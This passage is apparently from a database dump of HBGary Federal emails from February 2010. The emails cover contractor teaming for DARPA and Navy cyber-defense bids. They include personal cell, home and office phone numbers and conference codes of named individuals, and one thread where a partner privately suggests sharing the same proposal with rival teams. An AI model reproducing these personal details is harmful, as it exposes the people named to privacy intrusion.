been in dialogue with GD about DDNA/ePO for internal use,\r\nSOC-in-a-can, and being used in the security consulting services.  This is\r\npotential -- they haven\'t given us any money yet.  I\'m expecting $40k order\r\nfrom DC3 through GD. HBGary is a front-line sub in the recent SPAWAR\r\nproposal (award still pending).\r\n\r\nThe teams Aaron assembled for topics #1 and #3 look strong.  Will we pursue\r\ntopic #2, perhaps with GD?  Maybe it makes more sense to pursue just two\r\ntopics to make sure we nail them.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 22, 2010 11:58 PM\r\nTo: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\nSubject: DARPA BAA\r\n\r\nGuys,\r\n\r\nJust wanted to let you know of our decision and take any comments.  Ted and\r\nI have been discussing this for a few hours and have come to a decision.  We\r\nare going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\nPikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\nNorthrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\nour decision as best I can and the reasons for not continuing to pursue this\r\neffort with them.  I believe this will come with significant dissapointment.\r\n\r\nGD has brought nothing to the table for this particular effort.  Northrop\r\nnot only has the Information Geometry technology but we are working with\r\nthem under their R&D to develop the threat intelligence effort which will\r\nfold well into Tech Area 1.  It would not make sense to team with NG Xetron\r\ngiven our TIC work and their technology.  I have asked to either meet or\r\ntalk with Chris Starr one on one tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n14:34:00\r\n\r\n',9003,'aaron_hbgary_com/9003.html'),(2973,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001409.M390316P3547Q2973.eml','\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com','Malware attribution','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nMITRE&#8217;s Malware Attribute\r\nand Enumeration Characterization\r\n\r\nhttp://maec.mitre.org/\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9525,'aaron_hbgary_com/9525.html'),(2974,'2010-02-23','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001409.M578352P3547Q2974.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: A very interesting project opportunity with the Navy (ONR)','I will be in DC at the AFCEA Homeland Security show. Will you be at RSA next week?Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 23 Feb 2010 09:22:52 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;&lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: A very interesting project opportunity with the Navy (ONR)Sounds interesting.  Let&#39;s discuss.  I am going to be at the navy day on Wednesday.  Are u going to be there?AaronFrom my iPhoneOn Feb 23, 2010, at 9:06 AM, Nolan Clifford &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n \r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n \r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new cyber defense prototypes to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project&#39;s goal is to develop new concepts for protecting the Navy’s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there’s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don’t allow for real-time \r\nresponse, it said.\r\n“The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,” ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n\r\n',11876,'aaron_hbgary_com/11876.html'),(2975,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001409.M800360P3547Q2975.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Cyber Genome Follow-up - Pikewerks','Aaron,\r\n\r\nThe point man from Pikewerks is Irby Thompson.  Please send him an NDA\r\nagreement.\r\n\r\nIrby said it sounds good to team with us on topic #3.  He is going to go\r\nback to his team to verify they are all on board.  He thinks they may also\r\ndo a proposal for Topic #4.\r\n\r\nI told him that you would be the point man going forward.\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Irby Thompson [mailto:irby@pikewerks.com] \r\nSent: Tuesday, February 23, 2010 10:59 AM\r\nTo: bob@hbgary.com\r\nSubject: Re: Cyber Genome Follow-up\r\n\r\nAlso here are my contact details:\r\n\r\n\r\n-------------------------------\r\nIrby J. Thompson, Jr.\r\nChief Operating Officer\r\nPikewerks Corporation\r\nhttp://pikewerks.com\r\nOffice:	256.325.0010\r\nMobile:	202.341.5999\r\n\r\n\r\nOn Feb 22, 2010, at 6:12 PM, Irby Thompson wrote:\r\n\r\n> Bob,\r\n> \r\n> Thanks for the discussion today. As I mentioned, we are in the process of\r\nworking through our approach for this opportunity, but would definitely be\r\ninteresting in considering a partnership. I think Pikewerks and HBGary have\r\nthe potential to complement each other well, and could present a strong and\r\ninnovative solution.\r\n> \r\n> I look forward to discussing further with your team.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n02:34:00\r\n\r\n',3997,'aaron_hbgary_com/3997.html'),(2976,'2010-02-23','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297001410.M148240P3547Q2976.eml','\"Aaron Barr\" <aaron@hbgary.com>','Here are two orgs you may want to pitch to','International Association of Computer Investigative Specialists (IACIS®)\r\n\r\nInternational High Tech Crime Investigation Association. (HTCIA®)\r\n',8715,'aaron_hbgary_com/8715.html'),(2977,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001410.M336024P3547Q2977.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Grama Tech?','Aaron,\r\n\r\nhttp://www.grammatech.com \r\n\r\nhttp://www.grammatech.com/research/sponsors.html\r\n\r\nMy view of this company...... They are university types who are fabulous at\r\nwriting winning proposals.  They have won boatloads of contracts, but they\r\nare pretty boring as a product company.  We should view them as a threat in\r\nthe DARPA work.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 7:54 AM\r\nTo: Bob Slapnik\r\nSubject: Grama Tech?\r\n\r\nCan you send me the name of that company.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n14:34:00\r\n\r\n',9832,'aaron_hbgary_com/9832.html'),(2978,'2010-02-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001410.M565998P3547Q2978.eml','Aaron@hbgary.com','HBGary / GD Discussion continues','\r\n\r\n\r\n\r\n\r\nHBGary / GD Discussion continues\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, February 23, 2010 2:30 PM-5:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nHBGary / GD Discussion continues\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n\r\n',5420,'aaron_hbgary_com/5420.html'),(2979,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001410.M770921P3547Q2979.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: HBGary / GD Discussion continues','Sorry couldn\'t take calls, crazy morning.  I will callnin a few\r\nminutes if your available.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 23, 2010, at 12:08 PM, \"Starr, Christopher H.\"  wrote:\r\n\r\n> \r\n',16842,'aaron_hbgary_com/16842.html'),(2980,'2010-02-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001410.M946218P3547Q2980.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I don\'t have ur Cell.','408-316-8002 is my cell, 916-941-8612 is home and work is 916-459-4727 ext\r\n105 \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 22, 2010 8:58 PM\r\nTo: Penny Leavy\r\nSubject: I don\'t have ur Cell.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',9511,'aaron_hbgary_com/9511.html'),(2981,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001411.M170695P3547Q2981.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Commitment','Are u guys serious about priming 1?\r\n\r\n From my iPhone\r\n',12854,'aaron_hbgary_com/12854.html'),(2982,'2010-02-23','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001411.M397367P3547Q2982.eml','aaron@hbgary.com','Re: Commitment','\r\n\r\n\r\n\r\n\r\nRe: Commitment\r\n\r\n\r\n\r\n\r\nYeah.&nbsp; Why?&nbsp; Got ft wayne working now.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:25:55 2010\r\nSubject: Commitment\r\n\r\nAre u guys serious about priming 1?\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n',9608,'aaron_hbgary_com/9608.html'),(2983,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001411.M793736P3547Q2983.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Commitment','Cuz I  about toreally piss off gd and I want to make sure I  doing it to be on a better team.  AaronFrom my iPhoneOn Feb 23, 2010, at 12:27 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYeah.  Why?  Got ft wayne working now.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:25:55 2010\r\nSubject: Commitment\r\n\r\nAre u guys serious about priming 1?\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',3275,'aaron_hbgary_com/3275.html'),(2984,'2010-02-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001412.M231229P3547Q2985.eml','\"Trynor Mark\" <mark.trynor@gmail.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Matt Furman\" <matt_furman2005@yahoo.com>','LIDAR-equipped robot maps dangerous areas in 3D so you don\'t have to -- Engadget','http://www.engadget.com/2010/02/23/lidar-equipped-robot-maps-dangerous-areas-in-3d-so-you-dont-hav/\r\n\r\n\r\n\r\n',33,'aaron_hbgary_com/33.html'),(2985,'2010-02-23','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001412.M40555P3547Q2984.eml','aaron@hbgary.com','Re: Commitment','\r\nWell...  I didn\'t say that you are exclusive.  Could you submit the same write-up to your two partners?  Never mention me saying that but I will cover for you if you decide to go that way.  From what you have said about gd,  I think we are stronger.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Tue Feb 23 11:28:17 2010Subject: Re: Commitment\r\nCuz I  about toreally piss off gd and I want to make sure I  doing it to be on a better team.  AaronFrom my iPhoneOn Feb 23, 2010, at 12:27 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYeah.  Why?  Got ft wayne working now.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:25:55 2010\r\nSubject: Commitment\r\n\r\nAre u guys serious about priming 1?\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',16664,'aaron_hbgary_com/16664.html'),(2986,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001412.M424340P3547Q2986.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Commitment','I could.  Doesn&#39;t seem right.  I haven&#39;t signed anything with gd.  So I could.AaronFrom my iPhoneOn Feb 23, 2010, at 12:56 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nWell...  I didn&#39;t say that you are exclusive.  Could you submit the same write-up to your two partners?  Never mention me saying that but I will cover for you if you decide to go that way.  From what you have said about gd,  I think we are stronger.\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:28:17 2010Subject: Re: Commitment\r\n\r\nCuz I  about toreally piss off gd and I want to make sure I  doing it to be on a better team.  AaronFrom my iPhoneOn Feb 23, 2010, at 12:27 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nYeah.  Why?  Got ft wayne working now.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:25:55 2010\r\nSubject: Commitment\r\n\r\nAre u guys serious about priming 1?\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6524,'aaron_hbgary_com/6524.html'),(2987,'2010-02-23','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001412.M599092P3547Q2987.eml','aaron@hbgary.com','Re: Commitment','\r\nIt is an acceptable business practice, at least in my mind.  Especially for a small company working to get on its feet.  Task 1 more so than task 3.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Tue Feb 23 12:51:30 2010Subject: Re: Commitment\r\nI could.  Doesn&#39;t seem right.  I haven&#39;t signed anything with gd.  So I could.AaronFrom my iPhoneOn Feb 23, 2010, at 12:56 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nWell...  I didn&#39;t say that you are exclusive.  Could you submit the same write-up to your two partners?  Never mention me saying that but I will cover for you if you decide to go that way.  From what you have said about gd,  I think we are stronger.\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:28:17 2010Subject: Re: Commitment\r\n\r\nCuz I  about toreally piss off gd and I want to make sure I  doing it to be on a better team.  AaronFrom my iPhoneOn Feb 23, 2010, at 12:27 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nYeah.  Why?  Got ft wayne working now.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 23 11:25:55 2010\r\nSubject: Commitment\r\n\r\nAre u guys serious about priming 1?\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13654,'aaron_hbgary_com/13654.html'),(2988,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001425.M796693P3547Q2988.eml','ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Info that might be useful for malware lineage and classification','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nThe attached info might have use for the DARPA work.&nbsp;\r\nThis was a monthly report as part of our DHS sbir contract.&nbsp;&nbsp;\r\nStarting on page 3 are detailed reports on rootkits, bots, etc.&nbsp; These\r\nwere deliverables from our sub, SAIC (which in hindsight was money that could\r\nhave been better used by HBGary).&nbsp; Jim Jones liked to talk about malware families\r\nand lineage so there might be useful content there.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2198,'aaron_hbgary_com/2198.html'),(2989,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001426.M351810P3547Q2989.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Introduction','Hi Guys,\r\n\r\nI want to get you guys in touch to discuss your thoughts related to Tech area 1.  Brian I know you had some questions on what GD brought to the table and I was not able to answer those questions well.  Chris, as I mentioned I think the work NG Xetron is doing and their NGES technology in Information Geometry is a significant discriminator to this proposal.  Brian, GD brings operational contracts such as DC3 that have driven some of these requirements.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',162,'aaron_hbgary_com/162.html'),(2990,'2010-02-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001426.M565165P3547Q2990.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','RE: Introduction (RE: DARPA Cyber Genome BAA)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian,\r\n\r\n&nbsp;\r\n\r\nIs there a good time tomorrow when I could call you?\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n571-216-6140\r\n\r\n&nbsp;\r\n\r\nChristopher H. Starr\r\n\r\nPrincipal Investigator, Cyber Security Initiatives\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n1421 Jefferson Davis Hwy, Suite 600, Arlington, VA 22202\r\n\r\nChris.Starr@gd-ais.com\r\n\r\n571-216-6140\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 3:13 PM\r\nTo: Brian Masterson; Starr, Christopher H.\r\nSubject: Introduction\r\n\r\n&nbsp;\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nI want to get you guys in touch to discuss your thoughts\r\nrelated to Tech area 1.&nbsp; Brian I know you had some questions on what GD brought\r\nto the table and I was not able to answer those questions well.&nbsp; Chris, as I\r\nmentioned I think the work NG Xetron is doing and their NGES technology in\r\nInformation Geometry is a significant discriminator to this proposal.&nbsp; Brian,\r\nGD brings operational contracts such as DC3 that have driven some of these\r\nrequirements.\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1528,'aaron_hbgary_com/1528.html'),(2991,'2010-02-23','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001426.M773690P3547Q2991.eml','\"Aaron Barr\" <aaron@hbgary.com>','SRI / GD discussion continues','\r\n\r\n\r\n\r\n\r\nSRI / GD discussion continues\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, February 23, 2010 5:30 PM-6:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nSRI / GD discussion continues\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n\r\n',6091,'aaron_hbgary_com/6091.html'),(2992,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001426.M961648P3547Q2992.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Restaurant','Konami\r\n8221 Leesburg Pike\r\nVienna? VA\r\nUnited States\r\n\r\n From my iPhone\r\n',11499,'aaron_hbgary_com/11499.html'),(2993,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001427.M183383P3547Q2993.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: DARPA BAA','OK.  Latest discussion with GD.  They seem very amenable/flexible to working out an arrangement.  Basically, they see this as strategic to their DC3 work and just want to be on the team.  With this new piece of information we might be able to work out an arrangement.  I am still planning on priming Technical Area 3 as I don\'t want any company to be in control of something so close to our key area of work.  On Technical area 1 I am working for a NG prime with GD and HBGary as subs, probably a university as well.  I think this is workable, but we will see...negotiations continue.  To their credit the GD guys were handled the discussion very well.  I asked them specifically what innovation they thought they brought to the table and would they consider sub roles on both technical areas.\r\n\r\nBob do you think Pikeworks will be amenable to a Tech3 teaming with GD as a minor prime as long as HBGary is the prime?\r\n\r\nDC3 along with a small pocket in NSA are probably the only shops that are currently doing anything related to full-spectrum cyber analysis, even though its all currently manual.  So they do bring operational relevance, but that doesn\'t get you very far in the dance.  Innovation, innovation, innovation.\r\n\r\nAaron\r\n\r\nOn Feb 23, 2010, at 9:43 AM, Bob Slapnik wrote:\r\n\r\n> I went into the conversations with GD full of optimism.  However, the only\r\n> thing they bring to the table is their contracts with DC3.  Van Putte\r\n> mentioned DC3 as a potential law enforcement user of some of this new work.\r\n> But when we look at GD for ideas and technology, they came up with nothing.\r\n> \r\n> We\'ve been in dialogue with GD about DDNA/ePO for internal use,\r\n> SOC-in-a-can, and being used in the security consulting services.  This is\r\n> potential -- they haven\'t given us any money yet.  I\'m expecting $40k order\r\n> from DC3 through GD. HBGary is a front-line sub in the recent SPAWAR\r\n> proposal (award still pending).\r\n> \r\n> The teams Aaron assembled for topics #1 and #3 look strong.  Will we pursue\r\n> topic #2, perhaps with GD?  Maybe it makes more sense to pursue just two\r\n> topics to make sure we nail them.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 11:58 PM\r\n> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n> Subject: DARPA BAA\r\n> \r\n> Guys,\r\n> \r\n> Just wanted to let you know of our decision and take any comments.  Ted and\r\n> I have been discussing this for a few hours and have come to a decision.  We\r\n> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\n> our decision as best I can and the reasons for not continuing to pursue this\r\n> effort with them.  I believe this will come with significant dissapointment.\r\n> \r\n> GD has brought nothing to the table for this particular effort.  Northrop\r\n> not only has the Information Geometry technology but we are working with\r\n> them under their R&D to develop the threat intelligence effort which will\r\n> fold well into Tech Area 1.  It would not make sense to team with NG Xetron\r\n> given our TIC work and their technology.  I have asked to either meet or\r\n> talk with Chris Starr one on one tomorrow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/22/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7699,'aaron_hbgary_com/7699.html'),(2994,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001427.M371934P3547Q2994.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Cyber Genome Follow-up - Pikewerks','what is his email address?\r\n\r\nOn Feb 23, 2010, at 11:30 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> The point man from Pikewerks is Irby Thompson.  Please send him an NDA\r\n> agreement.\r\n> \r\n> Irby said it sounds good to team with us on topic #3.  He is going to go\r\n> back to his team to verify they are all on board.  He thinks they may also\r\n> do a proposal for Topic #4.\r\n> \r\n> I told him that you would be the point man going forward.\r\n> \r\n> Bob \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Irby Thompson [mailto:irby@pikewerks.com] \r\n> Sent: Tuesday, February 23, 2010 10:59 AM\r\n> To: bob@hbgary.com\r\n> Subject: Re: Cyber Genome Follow-up\r\n> \r\n> Also here are my contact details:\r\n> \r\n> \r\n> -------------------------------\r\n> Irby J. Thompson, Jr.\r\n> Chief Operating Officer\r\n> Pikewerks Corporation\r\n> http://pikewerks.com\r\n> Office:	256.325.0010\r\n> Mobile:	202.341.5999\r\n> \r\n> \r\n> On Feb 22, 2010, at 6:12 PM, Irby Thompson wrote:\r\n> \r\n>> Bob,\r\n>> \r\n>> Thanks for the discussion today. As I mentioned, we are in the process of\r\n> working through our approach for this opportunity, but would definitely be\r\n> interesting in considering a partnership. I think Pikewerks and HBGary have\r\n> the potential to complement each other well, and could present a strong and\r\n> innovative solution.\r\n>> \r\n>> I look forward to discussing further with your team.\r\n>> \r\n>> 	Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/23/10\r\n> 02:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2003,'aaron_hbgary_com/2003.html'),(2995,'2010-02-23','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297001427.M562848P3547Q2995.eml','aaron@hbgary.com','Regus Global Economic Indicator Survey - Your Opinion Matters','\r\n\r\n\r\n\r\n\r\nRegus\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n					\r\n			\r\n				\r\n					\r\n					\r\n													\r\n				\r\n				\r\n					\r\n					\r\n					Please add email@regusworldwide.com to your address book.Having trouble viewing this email? See it online.\r\n\r\n					\r\n					Please add email@regusworldwide.com to your address book.\r\n					Having trouble viewing this email? See it online.-->\r\n					\r\n				\r\n				\r\n					\r\n					\r\n				\r\n				\r\n					\r\n						\r\n							\r\n								\r\n								\r\n													\r\n							\r\n							\r\n								\r\n								&nbsp;  -->\r\n													\r\n							\r\n							\r\n								\r\n								\r\n									\r\n										\r\n											\r\n											\r\n											Hello,\r\n											Dear Customer-->\r\n											\r\n										\r\n									\r\n								\r\n													\r\n							\r\n							\r\n								\r\n								\r\n									\r\n									\r\n										\r\n											\r\n											\r\n											\r\n										\r\n										